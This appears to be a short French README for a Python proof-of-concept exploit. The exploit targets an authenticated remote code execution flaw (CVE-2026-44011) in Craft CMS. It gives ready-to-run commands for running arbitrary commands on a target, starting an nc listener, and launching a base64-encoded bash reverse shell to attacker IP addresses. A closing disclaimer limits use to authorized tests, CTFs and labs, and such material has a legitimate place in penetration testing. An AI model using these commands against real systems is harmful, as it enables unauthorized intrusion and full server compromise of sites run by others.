Preuve de concept en Python pour CVE-2026-44011 dans Craft CMS, exploitant l'exécution de code à distance authentifiée avec exécution de commandes et charges utiles de reverse shell encodées en base64.
CVE-2026-44011-craft-rce-poc Utilisation
Commande unique : bash
python3 craft_rce.py -b http://target -u USER -p PASS -c 'id'
Reverse shell (bash encapsulé en base64) :
nc -lvnp 4444
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 4444
Si la cible ne peut pas atteindre votre callback, indiquez-le explicitement :
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.13.37.200 4444 -H 10.13.37.200 --listen-port 35509
Avertissement
Pour les tests autorisés, les CTF et les environnements de laboratoire uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
